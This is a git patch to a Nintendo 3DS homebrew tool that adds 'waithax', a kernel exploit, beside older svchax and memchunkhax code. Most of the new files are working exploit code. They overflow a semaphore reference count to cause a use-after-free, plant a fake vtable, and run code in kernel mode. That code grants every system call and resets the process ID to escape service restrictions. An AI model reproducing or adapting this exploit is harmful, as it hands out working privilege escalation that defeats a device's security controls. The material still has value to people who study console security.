From 256c19c3cc4e1a000667c80185bfd965b4e7a60c Mon Sep 17 00:00:00 2001 From: Steveice10 Date: Tue, 13 Dec 2016 17:05:12 -0800 Subject: [PATCH] Add waithax support. --- README.md | 4 +- source/{svchax => hax}/svchax.c | 48 +++++--- source/{svchax => hax}/svchax.h | 0 source/hax/utils.h | 10 ++ source/hax/utils.s | 51 ++++++++ source/hax/waithax.c | 204 ++++++++++++++++++++++++++++++++ source/hax/waithax.h | 23 ++++ source/main.c | 2 +- 8 files changed, 321 insertions(+), 21 deletions(-) rename source/{svchax => hax}/svchax.c (93%) rename source/{svchax => hax}/svchax.h (100%) create mode 100644 source/hax/utils.h create mode 100644 source/hax/utils.s create mode 100644 source/hax/waithax.c create mode 100644 source/hax/waithax.h diff --git a/README.md b/README.md index 09d9685..16a32cf 100644 --- a/README.md +++ b/README.md @@ -10,4 +10,6 @@ Requires [devkitARM](http://sourceforge.net/projects/devkitpro/files/devkitARM/) Banner: [OctopusRift](http://gbatemp.net/members/octopusrift.356526/), [Apache Thunder](https://gbatemp.net/members/apache-thunder.105648/) -SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool)) \ No newline at end of file +SPI Protocol Information: [TuxSH](https://github.com/TuxSH/) ([TWLSaveTool](https://github.com/TuxSH/TWLSaveTool)) + +svchax: [aliaspider](https://github.com/aliaspider), waithax: [Mrrraou](https://github.com/Mrrraou) \ No newline at end of file diff --git a/source/svchax/svchax.c b/source/hax/svchax.c similarity index 93% rename from source/svchax/svchax.c rename to source/hax/svchax.c index 24647a9..db4f661 100644 --- a/source/svchax/svchax.c +++ b/source/hax/svchax.c @@ -3,6 +3,7 @@ #include #include #include "svchax.h" +#include "waithax.h" #define CURRENT_KTHREAD 0xFFFF9000 #define CURRENT_KPROCESS 0xFFFF9004 @@ -45,10 +46,12 @@ static u32 svc_7b(backdoor_fn entry_fn, ...) // can pass up to two arguments to return 0; } -static void k_enable_all_svcs(u32 isNew3DS) +static bool g_is_new3ds; + +static void k_enable_all_svcs() { u32* thread_ACL = *(*(u32***)CURRENT_KTHREAD + 0x22) - 0x6; - u32* process_ACL = *(u32**)CURRENT_KPROCESS + (isNew3DS ? 0x24 : 0x22); + u32* process_ACL = *(u32**)CURRENT_KPROCESS + (g_is_new3ds ? 0x24 : 0x22); memset(thread_ACL, 0xFF, 0x10); memset(process_ACL, 0xFF, 0x10); @@ -460,31 +463,38 @@ static void do_memchunkhax1(void) Result svchax_init(bool patch_srv) { - bool isNew3DS; - APT_CheckNew3DS(&isNew3DS); + APT_CheckNew3DS(&g_is_new3ds); u32 kver = osGetKernelVersion(); - if (!__ctr_svchax) - { - if (__service_ptr) - { - if (kver > SYSTEM_VERSION(2, 50, 11)) + if(!__ctr_svchax) { + if(__service_ptr) { + if(kver > SYSTEM_VERSION(2, 51, 2)) { return -1; - else if (kver > SYSTEM_VERSION(2, 46, 0)) - do_memchunkhax2(); - else - do_memchunkhax1(); + } else if(kver > SYSTEM_VERSION(2, 50, 11)) { + if(waithax_run()) { + waithax_backdoor(k_enable_all_svcs); + __ctr_svchax = 1; + } + } else { + if(kver > SYSTEM_VERSION(2, 46, 0)) { + do_memchunkhax2(); + } else { + do_memchunkhax1(); + } + + svc_7b((backdoor_fn) k_enable_all_svcs); + __ctr_svchax = 1; + } + } else { + svc_7b((backdoor_fn) k_enable_all_svcs); + __ctr_svchax = 1; } - - svc_7b((backdoor_fn)k_enable_all_svcs, isNew3DS); - - __ctr_svchax = 1; } - if (patch_srv && !__ctr_svchax_srv) + if (patch_srv && __ctr_svchax && !__ctr_svchax_srv) { - u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (isNew3DS ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC); + u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (g_is_new3ds ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC); u32 old_PID = read_kaddr(PID_kaddr); write_kaddr(PID_kaddr, 0); srvExit(); diff --git a/source/svchax/svchax.h b/source/hax/svchax.h similarity index 100% rename from source/svchax/svchax.h rename to source/hax/svchax.h diff --git a/source/hax/utils.h b/source/hax/utils.h new file mode 100644 index 0000000..2abffa2 --- /dev/null +++ b/source/hax/utils.h @@ -0,0 +1,10 @@ +#pragma once + +#include <3ds/types.h> + + +typedef u32(*backdoor_fn)(u32 arg0, u32 arg1); +u32 svc_7b(void* entry_fn, ...); // can pass up to two arguments to entry_fn(...) + +Result svcCreateSemaphoreKAddr(Handle *semaphore, s32 initialCount, s32 maxCount, u32 **kaddr); +Result svcGetHandleInfo(s64* out, Handle handle, u32 type); diff --git a/source/hax/utils.s b/source/hax/utils.s new file mode 100644 index 0000000..a7c9e41 --- /dev/null +++ b/source/hax/utils.s @@ -0,0 +1,51 @@ +.arm +.section .text + + +@ Shamelessly based from Steveice's memchunkhax2 repo. I miss those old days +@ Credits to TuxSH for finding this leak +@ Please don't expect KTM for this +.global svcCreateSemaphoreKAddr +.type svcCreateSemaphoreKAddr, %function +svcCreateSemaphoreKAddr: + str r0, [sp, #-4]! + str r3, [sp, #-4]! + svc 0x15 + ldr r3, [sp], #4 + sub r2, r2, #4 @ Fix the kobject ptr + str r2, [r3] + ldr r3, [sp], #4 + str r1, [r3] + bx lr + +.global svcGetHandleInfo +.type svcGetHandleInfo, %function +svcGetHandleInfo: + str r0, [sp, #-0x4]! + svc 0x29 + ldr r3, [sp], #4 + str r1, [r3] + str r2, [r3, #4] + bx lr + + +@ Here for debug/dev purposes +.global svc_7b +.type svc_7b, %function +svc_7b: + push {r0, r1, r2} + mov r3, sp + add r0, pc, #12 + svc 0x7b + add sp, sp, #8 + ldr r0, [sp], #4 + bx lr + cpsid aif + ldr r2, [r3], #4 + ldmfd r3!, {r0, r1} + push {r3, lr} + blx r2 + pop {r3, lr} + str r0, [r3, #-4]! + mov r0, #0 + bx lr diff --git a/source/hax/waithax.c b/source/hax/waithax.c new file mode 100644 index 0000000..4d052b3 --- /dev/null +++ b/source/hax/waithax.c @@ -0,0 +1,204 @@ +#include <3ds.h> +#include +#include +#include "waithax.h" +#include "utils.h" + + +static Handle g_backdoor_semaphore; +static KSemaphore* g_backdoor_ksemaphore; + +static KSemaphore* g_hax_ksemaphore; +static KSemaphore g_backup_data; +static void* g_fake_ksemaphore_vtable[KSEMAPHORE_VTABLESIZE / sizeof(void*)]; + +static void (*g_backdoor_method)(void); +static u32 g_exploit_result = 0; + +static bool g_debug_mode = false; + + +static void K_Debug_PatchRefcount(KSemaphore *semaphore, u32 value) +{ + semaphore->refCount = value; +} + +static bool waithax_kernel11_backdoor(KSemaphore *this, void *thread) +{ + g_backdoor_method(); + return true; +} + +static void waithax_kernel11_setup_step1(KSemaphore *this) +{ + // Turn interrupts off + __asm__ volatile("cpsid aif"); + + // Backup the KObjectLink from the hax semaphore location + memcpy(&g_backup_data, this, sizeof(KSemaphore)); + + // Copy a valid KSemaphore on the current semaphore to prevent crashes after + // returning from this fake vtable method + memcpy(this, g_backdoor_ksemaphore, sizeof(KSemaphore)); + + // Copy the KSemaphore vtable from kernel memory to the current userland + // process' memory + memcpy(g_fake_ksemaphore_vtable, this->vtable, KSEMAPHORE_VTABLESIZE); + + // Point the "backdoor" KSemaphore's vtable to the fake vtable located in + // the current userland process' memory + g_backdoor_ksemaphore->vtable = g_fake_ksemaphore_vtable; + + // Increment the refcount to not cause an unwanted deallocation when + // WaitSynchronization1 terminates. + this->refCount++; + + // Write the exploit result to validate the kernel code execution + g_exploit_result = 0xcafebabe; +} + +static void waithax_kernel11_setup_step2(void) +{ + // Turn interrupts off + __asm__ volatile("cpsid aif"); + + // Restore KObjectLink on the hax semaphore location + memcpy(g_hax_ksemaphore, &g_backup_data, sizeof(KSemaphore)); +} + + +static void waithax_setRefCount(Handle handle, u32 value) +{ + s64 outInfo; + Result res = svcGetHandleInfo(&outInfo, handle, 1); + u32 refCount = outInfo & 0xFFFFFFFF; + printf("Handle %08lx, count: %08lx, res %08lx\n", handle, refCount, res); + + if(refCount == value) + return; + + u32 loop = value - refCount; + if(refCount > value) + loop = (u32) -refCount + value; + + s32 out; + Handle handles[0x100]; + for(u32 i = 0; i < 0x100; i++) + handles[i] = handle; + handles[0xFF] = 0xDEADDEAD; + + u32 bulkLoop = loop / 0xFF; + u32 individualLoop = loop % 0xFF; + + for(u32 i = 0; i < bulkLoop; i++) + { + res = svcWaitSynchronizationN(&out, handles, 0x100, true, 0); + refCount += 0xFF; + + if(i % 0x10000 == 0) + printf("Left: %08lx | i: %08lx | count: %08lx\n", bulkLoop - i, i, + refCount); + } + + handles[1] = 0xDEADDEAD; + for(u32 i = 0; i < individualLoop; i++) + { + res = svcWaitSynchronizationN(&out, handles, 2, true, 0); + refCount++; + + printf("Left: %08lx | i: %08lx | count: %08lx\n", individualLoop - i, i, + refCount); + } +} + + +static void wait_thread(void *h) +{ + Handle semaphore = (Handle)h; + Result res = svcWaitSynchronization(semaphore, 4000000000LL); + printf("Thread WaitSync res: %08lx\n", res); +} + + + +bool waithax_run(void) +{ + Result res; + Handle sHax, sVtable; + Thread thWait; + u32 *kObject; + + + // Setup KSemaphores + res = svcCreateSemaphoreKAddr(&sHax, 0, 5, (u32**)&g_hax_ksemaphore); + printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sHax, + (u32)g_hax_ksemaphore); + + res = svcCreateSemaphoreKAddr(&sVtable, 0, + (u32)waithax_kernel11_setup_step1, &kObject); + printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sVtable, + (u32)kObject); + + res = svcCreateSemaphoreKAddr(&g_backdoor_semaphore, 0, 5, + (u32**)&g_backdoor_ksemaphore); + printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, + g_backdoor_semaphore, (u32)g_backdoor_ksemaphore); + + + // Setup the refcount + if(g_debug_mode) + svc_7b(K_Debug_PatchRefcount, g_hax_ksemaphore, 0U); + else + waithax_setRefCount(sHax, 0U); + + + // Free the "vtable" KSemaphore + svcCloseHandle(sVtable); + + + // Spawn the wait thread + printf("Spawning wait thread\n"); + thWait = threadCreate(wait_thread, (void*)sHax, 0x4000, 0x20, -2, true); + + + // Deallocate the "hax" KSemaphore + printf("Freeing hax KSemaphore\n"); + svcCloseHandle(sHax); + + + // Wait for the thread execution to end, at which point Kernel11-mode code + // will have been executed + printf("Waiting for thread\n"); + threadJoin(thWait, 15000000000LL); + + + // Setup the fake vtable method for the "backdoor" KSemaphore to run + // Kernel11-mode code in a better environment and in an easier way + printf("Setting up fake vtable method\n"); + g_fake_ksemaphore_vtable[12] = waithax_kernel11_backdoor; + + + // Restore "hax" KSemaphore data + waithax_backdoor(waithax_kernel11_setup_step2); + + + // Return exploit result + printf("Exploit result: %08lx\n", g_exploit_result); + return g_exploit_result == 0xcafebabe; +} + +void waithax_cleanup(void) +{ + svcCloseHandle(g_backdoor_semaphore); +} + +void waithax_debug(bool enabled) +{ + g_debug_mode = enabled; +} + +void waithax_backdoor(void (*method)(void)) +{ + g_backdoor_method = method; + svcWaitSynchronization(g_backdoor_semaphore, -1); +} diff --git a/source/hax/waithax.h b/source/hax/waithax.h new file mode 100644 index 0000000..74f90e0 --- /dev/null +++ b/source/hax/waithax.h @@ -0,0 +1,23 @@ +#pragma once + +#include <3ds/types.h> + +#define KSEMAPHORE_SIZE (0x2C) +#define KSEMAPHORE_VTABLESIZE (0x16 * sizeof(void*)) +typedef struct KSemaphore { + void **vtable; + u32 refCount; + u32 __a; + u32 __b; + u32 __c; + u32 __ievent[3]; + u32 count; + u32 maxCount; + void *owner; +} __attribute__((packed)) KSemaphore; + + +bool waithax_run(void); +void waithax_cleanup(void); +void waithax_debug(bool enabled); +void waithax_backdoor(void (*method)(void)); diff --git a/source/main.c b/source/main.c index 6a4dde2..33a3503 100644 --- a/source/main.c +++ b/source/main.c @@ -5,7 +5,7 @@ #include "core/clipboard.h" #include "core/screen.h" #include "core/util.h" -#include "svchax/svchax.h" +#include "hax/svchax.h" #include "ui/error.h" #include "ui/mainmenu.h" #include "ui/ui.h"